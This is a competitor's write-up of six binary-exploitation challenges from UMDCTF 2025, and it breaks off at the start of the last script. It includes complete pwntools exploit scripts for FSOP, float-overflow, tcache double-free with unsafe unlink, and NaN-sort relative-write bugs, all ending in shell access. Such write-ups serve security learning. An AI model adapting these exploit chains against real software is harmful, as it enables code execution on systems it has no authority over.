# UMDCTF 2025 Writeups
I played UMDCTF this year with `.;,;.` and got first place, so we decided to do some writeups. Unfortunately, we never got to it, but I'm in dire need of having things to show that I'm not wasting all my time playing R.E.P.O and Deadlock, so I'm going to write up the challenges I solved. I'll cover the challenges aura, gambling2, literally-1984, unfinished, one-write, and off-by-one-error.
Files for challenges can be found on [UMDCTF's Github](https://github.com/UMD-CSEC/UMDCTF-Public-Challenges/tree/main/UMDCTF2025/pwn). Challenges that do not provide `libc` and `ld` are obtained through the Docker container provided. Addresses have ASLR disabled.
## Table of Contents
tl;dr in spoiler
1. [aura](#aura): ||fsop arbitrary write||
2. [gambling2](#gambling2): ||buffer overflow and float representations||
3. [literally-1984](#literally-1984): ||basic file read in v8 - unintended||
4. [unfinished](#unfinished): ||overwrite C++ crash handlers with buffer overflow in global variable||
5. [one-write](#one-write): ||double-free into data leaks with tcache tricks into unsafe unlink||
6. [off-by-one-error](#off-by-one-error): ||non-number floats with bad `qsort` compare allows for relative write due to bad sorting and satisfying one_gadget requirements||
## aura
> I can READ ur aura
> `nc challs.umdctf.io 31006`
> **Provided Files:** `Dockerfile`, `aura`
aura reads up to 0x100 bytes on an `_IO_FILE` structure opened for reading on `/dev/null`, then tries to read 8 bytes from the same structure using `fread`. It checks the global variable `aura` and, if non-null, prints the flag.
```c
0x1215 printf(format: "my aura: %p\nur aura? ", &aura)
0x122e FILE* file = fopen(filename: "/dev/null", mode: u"r…")
0x124e read(fd: 0, buf: file, nbytes: 0x100)
0x1271 void buf_1
0x1271 fread(buf: &buf_1, size: 1, count: 8, fp: file)
```
Although PIE is enabled, a leak is given at the beginning. Since 8 bytes are being `fread` from the file structure by the program, overwriting to read 9 bytes to `aura` will read 1 byte into the variable.
This can be done by setting `_IO_buf_base` and `_IO_buf_end` to the start and end of the area that will be written to (respectively), then setting `fileno` to 0 so the structure reads from `stdin` (fd, not `_IO_FILE`). Other variables in the structure do have requirements, but these mostly check for equality and can just be set to 0. `FileStructure` from pwntools can do this for us.
```python
file = FileStructure()
file.read(<addr>, <len>)
print(file)
```
```
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: addr
_IO_buf_end: addr + len
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
```
There is a problematic pointer in the program, however, that needs to be known to overwrite. `_lock` is a pointer that I think is used for thread safety (?), but is, most importantly, an unknown value. This issue can be resolved by reading fewer bytes since only the values up to `fileno` need to be set up.
```py=
from pwn import *
context.binary = elf = ELF("./aura_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
gdbscript = f"""
set solib-search-path {Path.cwd()}
set $libc=0x7ffff7dd5000
set $stack=0x7ffffffdd000
set $pie=0x555555554000
brva 0x124e
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("challs.umdctf.io", 31006)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript, aslr=args.ASLR)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
p.recvuntil(b"my aura: ")
aura = int(p.recvline(), 16)
log.info(f"aura: {aura:#x}")
file = FileStructure()
file.read(aura, 9)
p.sendlineafter(b"ur aura?", bytes(file)[:0x80])
p.sendline(cyclic(8)) # 8 bytes then 1 byte for \n = 9 bytes
p.interactive()
```
## gambling2
> i gambled all of my life savings in this program (i have no life savings)
> `nc challs.umdctf.io 31005`
> **Provided Files:** `gambling.c`, `Makefile`, `Dockerfile`, `gambling`
gambling2 repeatedly takes 7 floats as input and compares them to a target number. Although guessing the correct number does not significantly affect the outcome , the program appears to go 3 values out of bounds of the float array during `scanf`. However, this is not the vulnerability, as the float array does seem to have 7 indexes in the binary.
The vulnerability lies primarily in the format used for `scanf`. The format calls for 7 doubles (long floats), which are 64 bits, but the input is stored in normal floats, which are 32 bits. Since the input is taken as a double, values will not be stored as simply as if it were a long or int, where the hex values of the number would be turned into bytes. The `struct` Python module can be used to convert bytes to float or double representation.
```py
import struct
struct.unpack('<d', b"AAAABBBB")[0]
```
Since the last float is directly next to the return address (the program does not `leave`), it can be overwritten. The return address will be at the 2nd dword of the 7th number, so the return address needs to be shifted left 32 bits. The program has a win function, `print_money`, so once the return address is controlled, a shell is trivial.
```py=
#!/usr/bin/env python3
import struct
from pwn import *
context.binary = elf = ELF("./gambling")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
gdbscript = f"""
set solib-search-path {Path.cwd()}
set $libc=0x7ffff7dd5000
set $stack=0x7ffffffdd000
set $pie=0x555555554000
b *0x08049331
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("challs.umdctf.io", 31005)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript, aslr=args.ASLR)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
value = struct.unpack('<d', p64(elf.sym.print_money << 32))[0]
p.sendline(f"1 1 1 1 1 1 {value}".encode())
p.interactive()
```
## literally-1984
> Commit hash is c963fb98a204005df30553bec7bbbe1997e0ab5f in the v8 repo.
> Build configuration and patch are provided. Binary was built in Docker Ubuntu 24.04
> Please let the author know if you're having trouble with the build process - this is my first v8 challenge so I may have messed something up.
> `nc challs.umdctf.io 31004`
> **Provided Files:** `dist.tar.gz`, `literally1984.patch`, `args.gn`
literally-1984 is a v8 challenge with an unintended that was patched in the revenge challenge, literally-1985. I don't particularly understand the intended solution, but I know it causes the compiler to optimize an expression into an out-of-bounds access (my teammate [unvariant.winter](https://unvariant.pages.dev) solved it - he isn't doing a writeup, but you should check him out). So, I will cover the unintended.
The unintended was extremely simple - the config did not prevent files from being read, so you could simply open the flag file and read it.
```javascript=
let content = read("./flag.txt")
console.log(content)
EOF
```
## unfinished
> TODO: finish the challenge
> `nc challs.umdctf.io 31003`
> **Provided Files:** `unfinished`, `Makefile`, `Dockerfile`, `unfinished.cpp`
unfinished is a C++ challenge that took a long as input using `atol` and created an `int[]` with the size set to the input. The input has a really big buffer overflow, but it is a global variable so the return address is not controllable. There is also a win function, `sigma_mode`, which calls `system("/bin/sh")`.
I solved the challenge by setting the input to a very large number, padding spaces so that the rest of the input is ignored by `atol`, then using `cyclic` to see if I could control `rip`. This approach worked, so I moved on.
After the CTF, I looked into it further, and here's what I think is happening. Because the program attempts to create an array of a very large size, there is not enough memory to allocate, resulting in a crash. During the crash, the program checks if a global variable `(anonymous namespace)::__new_handler` is non-zero, and if so, it attempts to call the address stored in the variable. Usually, it is set using `std::set_new_handler`, but in this case, it can be set through the overflow primitive.
```py
sigma_mode = 0x4019b6
payload = str(0x1000000000000).encode().ljust(200) + p64(sigma_mode)
p.sendlineafter(b"What size allocation?", payload)
```
```
00:0000│ 0x41f060 (number) ◂— 0x3739343734313832 ('28147497')
01:0008│ 0x41f068 (number+8) ◂— 0x2036353630313736 ('6710656 ')
02:0010│ 0x41f070 (number+16) ◂— 0x2020202020202020 (' ')
... ↓ 22 skipped
19:00c8│ 0x41f128 ((anonymous namespace)::__new_handler) —▸
0x4019b6 (sigma_mode()) ◂— push rbp
```
```py=
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./unfinished_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
gdbscript = f"""
set solib-search-path {Path.cwd()}
set $libc=0x7ffff7dd5000
set $stack=0x7ffffffdd000
set $pie=0x555555554000
b *0x4031d0
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT) p = remote(args.HOST, args.PORT)
#p = remote("localhost", 1447)
p = remote("challs.umdctf.io", 31003)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript, aslr=args.ASLR)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
sigma_mode = 0x4019b6
payload = str(0x1000000000000).encode().ljust(200) + p64(sigma_mode)
p.sendlineafter(b"What size allocation?", payload)
p.interactive()
```
## one-write
> 🕺Take a look at this - a heap challenge with just one write!
> 🤺Oh, they should actually solve that!
> 🕺Yeah, the challenge would go viral!
> `nc challs.umdctf.io 31002`
> **Provided Files:** `one_write`, `Dockerfile`
one_write is a heap challenge that has normal CRUD functions on the heap, allowing for chunk allocating, freeing, writing, and reading. However, chunk reading and writing can only be done to the first 0x5f8 bytes of the heap, where the start of the read/write is stored as a global variable. Chunks have 99 indexes and are limited to size 0x5ff (usable size of 0x610). The challenge uses libc version 2.39.
```py
# allocates chunk of size sz and at index idx
def create(idx, sz=0x28):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"idx:", str(idx).encode())
p.sendlineafter(b"size:", str(sz).encode())
# frees chunk at index idx if possible
def delete(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx:", str(idx).encode())
# modifies up to 0x5f8 bytes at chunk after tcache metadata
def update(inp):
p.sendlineafter(b"> ", b'3')
p.sendafter(b"data: ", (inp+b'\n')[:0x5f8])
# prints first 0x5f8 bytes at chunk after tcache metadata
def read():
p.sendlineafter(b"> ", b'4')
return p.recv(0x5f8)
def insert(string, new, offset, length=-1J):
if length == -1J:
length = offset + len(new)
return string[:offset] + new + string[length:]
```
Basic leaks can be obtained easily by allocating 2 largebin-sized chunks, freeing the first chunk, and then reading the first address. This address is the `fd` of the freed unsortedbin chunk (index 0), which returns the address of `main_arena+96` (the unsortedbin address) located in libc.
```py
create(0, 0x420)
create(1, 0x420)
delete(0)
leak = read()
libc.address = u64(leak[:8])-(libc.sym.main_arena+96)
```
```
0x0000000000000000 0x0000000000000431 ........1....... <-- unsortedbin[all][0]
0x00007ffff7faeb20 0x00007ffff7faeb20 ....... .......
```
```
[*] libc: 0x7ffff7dab000
```
A heap address and safe linking can be obtained by allocating and freeing tcache-sized chunks. The `fd` pointers of the freed chunks contain safe-linked addresses of 0 and the first chunk in tcache (safe-linking^0=safe-linking). I know this is a pretty bad way to do this, but it was an easy way to get the safe-linking for most chunks and a heap leak.
```py
create(0)
create(1)
delete(0)
delete(1)
leak = read()
safe_linking = u64(leak[:8])
log.info(f"safe linking: {safe_linking:#x}")
def fix(ptr, sl=safe_linking):
return ptr^sl
heap_base = fix(u64(leak[0x30:0x30+8])) - 0x2a0
log.info(f"heap base: {heap_base:#x}")
```
```
0x0000000000000000 0x0000000000000031 ........1.......
0x000000055555555b 0x6afb8378a77dfc12 [UUU......}.x..j <-- tcachebins[0x30][1/2]
0x000055555555b290 0x000055555555b290 ..UUUU....UUUU..
0x0000000000000000 0x0000000000000031 ........1.......
0x000055500000e7fb 0x6afb8378a77dfc12 ....PU....}.x..j <-- tcachebins[0x30][0/2]
```
```
[*] safe linking: 0x55555555b
[*] heap base: 0x55555555b000
```
The main vulnerability of the binary is a dangling pointer after freeing a chunk, which can be used for double free with the read and write. To start, chunks will be allocated in preparation for exploitation.
```py
create(0)
create(1)
create(2)
create(3)
```
Now for a stack and PIE leaks. To get a read outside of the area given, the tcache will be used. The pointers I used were `__libc_argv` for a stack leak and a `_start` pointer on the stack that I could calculate after getting said stack leak.
When a chunk is allocated from the tcache, the program will assume the first qword (`fd`) is the next freed chunk in the linked list or zero, and will set the head of the tcache of that size to `fd` without checking its value.
```py
create(0)
create(1)
delete(1)
delete(0)
```
tcache after changing `fd` of the freed chunk in tcache
```py
ow = read()
ow = insert(ow, p64(fix(libc.sym.__libc_argv)), 0x30)
update(ow)
```
```
pwndbg> bins
tcachebins
0x30 [ 2]: 0x55555555b2d0 —▸ 0x7ffff7faf6e0 (__libc_argv) ◂— (encrypted stack value)
```
This means an arbitrary value can be stored in metadata, and usually, when further allocations are made, the program will crash or ignore the pointer (The number of chunks in the tcache is zero).
tcache after reallocating a chunk with the changed `fd` pointer and "reallocating" a chunk at `__libc_argv`.
```py
create(1)
create(0x20)
```
```
pwndbg> bins
tcachebins
0x30 [ 1]: (encrypted stack value)
```
However, if an allocated chunk of the same usable size is freed, the freed chunk will have the arbitrary value as its `fd`, meaning that it can be read by us.
These pointers will be safe-linked to `(the address of the chunk freed >> 0xc)` and `(the address of the leak >> 0xc)`.
Value in previously allocated chunk being freed
```py
delete(1)
```
```
pwndbg> tele *(long*)((long)(&chunks)+8)
00:0000│ 0x55555555b2d0 ◂— 0x7ffd5555f7ac
```
To process it:
```py
ow = read()
stack_leak = fix(fix(u64(ow[0x30:0x30+8])), libc.sym.__libc_argv>>0xc)
ret_addr = stack_leak - 0x130
pie_leak_addr = stack_leak - 0x48
```
```
[*] stack leak: 0x7fffffffdd58
```
The same can be done with for PIE, since a pointer to `_start` is now known (`pie_leak_addr`).
```
[*] pie: 0x555555554000
```
Finally, an arbitrary read is needed to be able to achieve RCE. To do this, the [unsafe unlink](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c) technique can be used.
Unsafe unlink targets the way `libc` consolidates chunks and requires control over a chunk's data when it is freed and the header of the next chunk. Unlinking is a `libc` macro/function (`unlink_chunk`) that is used when a chunk is removed from a bin, for example, when chunks are reused or when chunks are consolidated.
Freed chunks need to be in the small/large/unsortedbin since consolidation does not occur with tcache/fastbin chunks. Therefore, the easiest chunk sizes would be 0x410 or higher. Since there is a read/write of over 0x420 bytes, this can be done.
the `unlink_chunk` function checks and does the following:
```c
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
...
}
```
Basically, unlink ensures that:
- the next chunk's `prev_size` is the targeted chunk's size
- the targeted chunk's neighbors in the bin point back to the chunk
These checks exist to ensure no data has been manipulated. If they are fulfilled, it removes the chunk by pointing the neighbors to each other instead of to itself, removing the chunk from the bin.
However, unlinking does not check if the neighboring chunks are in the bin, and if the targeted chunk is stored at a known pointer, the checks can be fulfilled and unlink will succeed and set the pointer to an offset before itself. If the pointer is used for writing, the pointer can once again be overwritten to point to anything, allowing for an arbitrary write.
To perform a consolidation, two chunks, which will be called `chunk_1` and `chunk_2` for clarity, need to follow the criteria:
- `chunk_2`'s `PREV_INUSE` flag is unset
- `chunk_2->prev_size` is equal to `chunk_1`'s size
- `chunk_1->fd->bk` and `chunk_1->bk->fd` point to `chunk_1`.
```py
uu_chunk0 = flat([
0,
0x421,
elf.sym.the_chunk-0x8*3,
elf.sym.the_chunk-0x8*2,
])
uu_chunk1 = flat([
0x420,
0x430,
])
ow = read()
ow = insert(ow, uu_chunk0, 0)
ow = insert(ow, uu_chunk1, 0x420)
update(ow)
```
When `chunk_2` is freed, the program sees `chunk_2` is next to the top chunk and `chunk_1`, the chunk previous to `chunk_2`, is "not in use", so it will not put `chunk_2` into a bin, but instead try to remove `chunk_1` by unlinking it, setting `chunk_1->fd->bk` and `chunk_1->bk->fd` to `chunk_1->bk` and `chunk_1->fd` respectively, then finally combining both chunks into the top chunk.
During the `libc` address leak, if the 2nd chunk index is never overwritten, the chunk array will have the address to the chunk that needs to be freed. In this case, `chunk_2` is at index 5.
```py
delete(5)
```
```
pwndbg> tele &the_chunk
00:0000│ 0x555555558080 (the_chunk) —▸ 0x555555558068 (__bss_start+8) ◂— 0
```
```
pwndbg> p/x ((long)&the_chunk)-((long)&__bss_start+8)
$2 = 0x18
```
Now that `chunk_1`'s neighbor chunks are just 0x10 and 0x18 offsets from a `chunk_1` pointer (offsets of `fd` and `bd` respectively), the pointer to `chunk_1` is overwritten with an offset to itself and can be overwritten to point elsewhere.
```py
ow = read()
ow = insert(ow, p64(ret_addr), 0x8*3)
update(ow)
```
```
pwndbg> tele &the_chunk
00:0000│ 0x555555558080 (the_chunk) —▸ 0x7fffffffdc28 —▸ 0x5555555553fb (main+41) ◂— ...
```
`the_chunk` now points to the return address, and ROP can be used to gain a shell.
```py
rop = ROP(libc)
poprdi = rop.rdi.address
ret = rop.ret.address
binsh = next(libc.search(b"/bin/sh"))
payload = flat([
poprdi, binsh,
ret,
libc.sym.system,
])
update(payload)
```
```
$ cat flag.txt
UMDCTF{but_look_at_this_its_j0hn_p0rk}
```
```py=
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./one_write_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
gdbscript = f"""
set solib-search-path {Path.cwd()}
set $libc=0x7ffff7dd5000
set $stack=0x7ffffffdd000
set $pie=0x555555554000
#brva 0x13ca
#brva 0x13aa
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("challs.umdctf.io", 31727)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript, aslr=args.ASLR)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
def create(idx, sz=0x28):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"idx:", str(idx).encode())
p.sendlineafter(b"size:", str(sz).encode())
def delete(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx:", str(idx).encode())
def update(inp):
p.sendlineafter(b"> ", b'3')
p.sendafter(b"data: ", (inp+b'\n')[:0x5f8])
def read():
p.sendlineafter(b"> ", b'4')
return p.recv(0x5f8)
def insert(string, new, offset, length=-1J):
if length == -1J:
length = offset + len(new)
return string[:offset] + new + string[length:]
create(4, 0x420)
create(5, 0x420)
delete(4)
leak = read()
libc.address = u64(leak[:8])-(libc.sym.main_arena+96)
log.info(f"libc: {libc.address:#x}")
create(0)
create(1)
delete(0)
delete(1)
leak = read()
safe_linking = u64(leak[:8])
log.info(f"safe linking: {safe_linking:#x}")
def fix(ptr, sl=safe_linking):
return ptr^sl
heap_base = fix(u64(leak[0x30:0x30+8])) - 0x2a0
log.info(f"heap base: {heap_base:#x}")
create(0)
create(1)
create(2)
create(3)
delete(1)
delete(0)
ow = read()
ow = insert(ow, p64(fix(libc.sym.__libc_argv)), 0x30)
update(ow)
create(1)
create(0x20)
delete(1)
ow = read()
stack_leak = fix(fix(u64(ow[0x30:0x30+8])), libc.sym.__libc_argv>>0xc)
log.info(f"stack leak: {stack_leak:#x}")
ret_addr = stack_leak - 0x130
pie_leak_addr = stack_leak - 0x48
create(1)
delete(2)
delete(3)
ow = read()
ow = insert(ow, p64(fix(pie_leak_addr)), 0x90)
update(ow)
create(3)
create(0x21)
delete(3)
ow = read()
elf.address = fix(fix(u64(ow[0x90:0x90+8])), pie_leak_addr>>0xc) - elf.sym._start
log.info(f"pie: {elf.address:#x}")
create(3)
uu_chunk0 = flat([
0,
0x421,
elf.sym.the_chunk-0x8*3,
elf.sym.the_chunk-0x8*2,
])
uu_chunk1 = flat([
0x420,
0x430,
])
ow = read()
ow = insert(ow, uu_chunk0, 0)
ow = insert(ow, uu_chunk1, 0x420)
update(ow)
delete(5)
ow = read()
ow = insert(ow, p64(ret_addr), 0x8*3)
update(ow)
rop = ROP(libc)
poprdi = rop.rdi.address
ret = rop.ret.address
binsh = next(libc.search(b"/bin/sh"))
payload = flat([
poprdi, binsh,
ret,
libc.sym.system,
])
update(payload)
p.interactive()
```
## off-by-one-error
> I made a program to keep track of my Subway Surfers scores! It seems to have an off by one error though...
> `nc challs.umdctf.io 31002`
> **Provided Files:** `offbyone`, `offbyone.c`, `Dockerfile`, `Makefile`, `libc.so.6`, `ld-linux-x86-64.so.2`
off-by-one-error takes 10,000 `float` inputs using `scanf` and groups them based on the maximum and minimum value, then creates a histogram with 10 ranges of groups. To count the input, the program sorts the array to be ordered lowest to highest using `qsort` with the `compare` function, then sets `max` and `min` to the last and first values, and finally calculates the index to array `bin` using the equation `(val-min)/(max-max)` and increments it.
Floats have several non-standard number values that have their own representations and behaviors in memory.
- `NaN` and `-NaN`: These values represent undefined or unrepresentable values and result from expressions that divide by zero or take the square root of a negative number, to name a few. They both return `NaN` when present in an expression and return zero when any comparison is done with them.
- `Inf` and `-Inf`: These values represent infinity and negative infinity. They occur when a float becomes too big and surpasses the floating point limit (3.40E+38), whether it happens through input or modification of a float. They behave as expected, being bigger/smaller than every number, and work as expected when put in an equation.
- `-0`: This is a zero. However, it is represented differently than a zero in memory, but otherwise, for the most part, it behaves the same.
To see how these floats are represented in memory:
```py
p.sendline(b'nan')
p.sendline(b'-nan')
p.sendline(b'inf')
p.sendline(b'-inf')
p.sendline(b'0')
p.sendline(b'-0')
```
```
pwndbg> x/6x 0x7fffffff3f90
0x7fffffff3f90: 0x7fc00000 0xffc00000 0x7f800000 0xff800000
0x7fffffff3fa0: 0x00000000 0x80000000
```
- nan: `0x7fc00000`
- -nan: `0xffc00000`
- Inf: `0x7f800000`
- -Inf: `0xff800000`
- 0: `0x00000000`
- -0: `0x80000000`
Since the program uses `scanf` to take input, these values can be used. The `NaN`'s comparison behavior is the main vulnerability in the program since it always returns zero when in a comparison, meaning the sorting will mess up.
```c
float a = 0.0/0.0;
printf("a = %f\n\n", a);
printf("1 < nan: %d\n"
"1 == nan: %d\n"
"1 > nan: %d\n",
1.0 < a, 1.0 == a, 1.0 > a);
```
```
a = -nan
1 < nan: 0
1 == nan: 0
1 > nan: 0
```
`compare` assumes that if the number is not greater or equal to another, it is lower. This means that `NaN` compared a number will always return -1, and vice versa.
```c
int compare(const void *a, const void *b) {
return *(float*)a == *(float*)b ? 0 : *(float*)a > *(float*)b ? 1 : -1;
}
int main() {
float a = 0.0/0.0;
float b = 1.0;
printf("a = %f\n\n", a);
printf("compare(nan, 1.0): %d\n"
"compare(1.0, nan): %d\n",
compare(&a, &b), compare(&b, &a));
}
```
```
a = -nan
compare(nan, 1.0): -1
compare(1.0, nan): -1
```
Contrary to its name, `qsort` uses both the quick sort and merge sort algorithms. Since merge sort is a faster algorithm but requires a temporary copy of the array, it is used in most cases except when an array copy exceeds the memory limit, in which quick sort will be used instead.
[Here](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/msort.c#L213) is the code for `qsort`'s usage of quick sort instead of msort:
```c
if (size / pagesize > (size_t) phys_pages) {
_quicksort (b, n, s, cmp, arg);
return;
}
/* It's somewhat large, so malloc it. */
int save = errno;
tmp = malloc (size);
__set_errno (save);
if (tmp == NULL) {
/* Couldn't get space, so use the slower algorithm
that doesn't need a temporary array. */
_quicksort (b, n, s, cmp, arg);
return;
}
```
Note:
- `size` is the required memory for the entire array
- `pagesize` is the system's memory page size
- `phys_pages` is the number of available physical memory pages
Since the size of the array used in this challenge is `10000 * sizeof(float) == 40000`, `qsort` will use merge sort.
Because of `NaN`'s comparison behavior and `qsort` using merge sort, the sorting can be tricked to not completely sort the array. Here is the baseline of the vulnerability that allows for an out-of-bounds write past index 10.
```py
def overwrite(idx, offset):
global total
total -= offset
val = 0
for i in range(offset):
p.sendline(str((idx*0.1)/2).encode())
total = 10000 - 2
total -= 1
p.sendline(b'0') # min = 0
overwrite(0x9c58+2, 0x40) # nan -> -0
overwrite(2, total) # fill array
p.sendline(b"nan")
p.sendline(b'1') # max = 1
```
When merge sort splits the array, the `NaN` and final `1` will be in the same sub-array. `compare(NaN, 1)` will be called, and `NaN` will be smaller than `1`. However, as the array is further merged, the array containing `NaN` will be on the right side, and all numbers compared to `NaN` will be smaller than `NaN`, and since the comparison of `NaN` and `1` was already done, merge sort will imply `1` is bigger than any other numbers. This means that `max == 1` even though the real max value of the array could be much bigger.
`min` can be easily set to 0 - just set the 1st value to 0. Now that `max` is `1`, the calculation for the bin index will return an out-of-bounds index.
The code:
```c
int bin = BINS * (data[i] - min) / (max - min);
counts[bin]++;
```
Simplified calculation with the vulnerability:
```
(data[i] - min) / (max - min) =
(data[i] - 0) / (1-0) =
data[i] / 1 =
data[i]
```
The overwrite at `0x9c58 + 2` resolves the issue of `NaN` and `Inf`'s `int` cast being a very large value which would result in non-mapped memory.
```c
printf("%p", (int)(0.0/0.0));
```
```
0x80000000
```
Since `NaN` is 0x7fc00000, the upper short can be offset by +0x40 to represent `-0` (0x80000000), and this returns 0 when cast to an `int`, which will definitely not reach non-mapped memory.
```c
uint32_t raw = 0x7fc00000;
float a = 0;
memcpy(&a, &raw, sizeof(float));
printf("Before +0x40: %f, int cast = %p\n", a, (int) a);
((uint16_t *) &a)[1] += 0x40;
printf("After +0x40: %f, int cast = %p", a, (int) a);
```
```
Before +0x40: nan, int cast = 0x80000000
After +0x40: -0.000000, int cast = (nil)
```
To calculate where the `NaN` was, I used the following commands in `gdb`:
```
# find NaN
search -x 0000c07f
# find offset for overwrite()
<address>-(long)$rbp+0x9c70
```
The final step is popping a shell. Since the overwrite is relative, leaks are not needed to gain RCE. There are 2 return addresses that can be modified:
- the return from `vuln` to `main` (binary address)
- the return from `main` to `__libc_start_call_main` (libc address)
However, since the `bin` array stores 16-bit data (`short`), overwriting even indexed bytes takes a lot of indexes, and the entire array would only be able to add 0x28 to the upper bytes (`10000 == 0x2710`). Since no leaks are known either, the likely solve path is a one_gadget. Looking at it directly, there are no valid one_gadgets, but a few things can be done so that a one_gadget is satisfied.
[unvariant](http://unvariant.pages.dev/ ) solved the rest of the challenge, so I might be getting something wrong, but credit to him.
To start, the options will be narrowed down because of the issue with `short`s mentioned earlier, so only one_gadgets whose 2nd byte is within +0x28 of the libc return address's 2nd byte can be valid. Using pwndbg's `xinfo`, the offset of the libc return address can be found.
```
pwndbg> xinfo &__libc_start_call_main+128
...
File (Base) 0x7ffff7c29d90 = 0x7ffff7c00000 + 0x29d90
...
```
From this, only 8 one_gadgets are left, and of that 3 are satisfiable with the register state at that return. The one we went with was:
```
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
```
`rax` is already set to 0, but the problem is that `rbp` is set to 1 instead of a stack address. This is because after `vuln` returns, `rbp` pops 1 off the stack and then returns to the libc address. This can be fixed by adding 0x11 bytes to the `main` return address, which sets the address to `_fini+8`, which is an `add rsp, 8` gadget.
```py
overwrite(0x9c78, 0x11) # return address
overwrite(0x9c88, 0x1fb3) # onegadget
overwrite(0x9c8a, 0xc)
```
Stack at the first return address:
```
00:0000│ rsp 0x7fffffffdbd8 —▸ 0x555555555544 (_fini+8) ◂— add rsp, 8
01:0008│ rbp 0x7fffffffdbe0 ◂— 1
02:0010│+008 0x7fffffffdbe8 —▸ 0x7ffff7cebd43 (execvpe+1331) ◂— lea r10, [rbp - 0x50]
```
Finally, the one_gadget requires an offset of `rbp` to point to 0. This address, fortunately, points to an index of the `float` array, so the same trick to set `max == 1` can be used to set `[rbp=0x70] == null`. Data will be almost isolated by a `NaN`, assuming correct alignment (`NaN` is before the desired data in initial sub-arrays so that it does not rearrange), so a `NaN` and two 0s will usually stay intact. To offset these values to the left, a large value can be padded at the end to ensure that they stay at the end.
```py
p.sendline(b"nan") # [rbp-0x70] == null
p.sendline(b"0")
p.sendline(b"0")
```
At the return address, `rbp-0x70 == 0x7fffffffdb70`, but right now the null is at
```
08:0040│-020 0x7fffffffdbb0 ◂— 0
```
`(0x7fffffffdbb0 - 0x7fffffffdb70) / 4 == 0x10`, so pad 0x10 large floats:
```py
overwrite(0xa000, 0x10) # pad for [rbp-0x70]
```
```
pwndbg> tele 0x7fffffffdb70
00:0000│-070 0x7fffffffdb70 ◂— 0
```
Now that `[rbp-0x70] == 0`, several one_gadgets will work.
```
pwndbg> onegadget --no-unknown
Using libc: /home/cope/ctf/umdctf/off_by_one_error/libc.so.6
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
+----------+--------------------------------------------------------------------------+
| Result | Constraint |
+==========+==========================================================================+
| SAT | address rbp-0x78 is writable |
+----------+--------------------------------------------------------------------------+
| SAT | [r10] == NULL || r10 == NULL || r10 is a valid argv |
+----------+--------------------------------------------------------------------------+
| SAT | [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp |
+----------+--------------------------------------------------------------------------+
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
+----------+--------------------------------------------------------------------------+
| Result | Constraint |
+==========+==========================================================================+
| SAT | address rbp-0x48 is writable |
+----------+--------------------------------------------------------------------------+
| SAT | rax == NULL || {rax, r12, NULL} is a valid argv |
+----------+--------------------------------------------------------------------------+
| SAT | [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp |
+----------+--------------------------------------------------------------------------+
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
+----------+--------------------------------------------------------------------------+
| Result | Constraint |
+==========+==========================================================================+
| SAT | address rbp-0x50 is writable |
+----------+--------------------------------------------------------------------------+
| SAT | rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv |
+----------+--------------------------------------------------------------------------+
| SAT | [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp |
+----------+--------------------------------------------------------------------------+
```
one_gadget has been satisfied, so shell should be popped:
```
$ cat flag.txt
UMDCTF{one_two_skip_a_few_ninety_nine_NaN_zero_ten_thousand}
```
```py=
#!/usr/bin/env python3
from pwn import *
global elf
if args.CHECK:
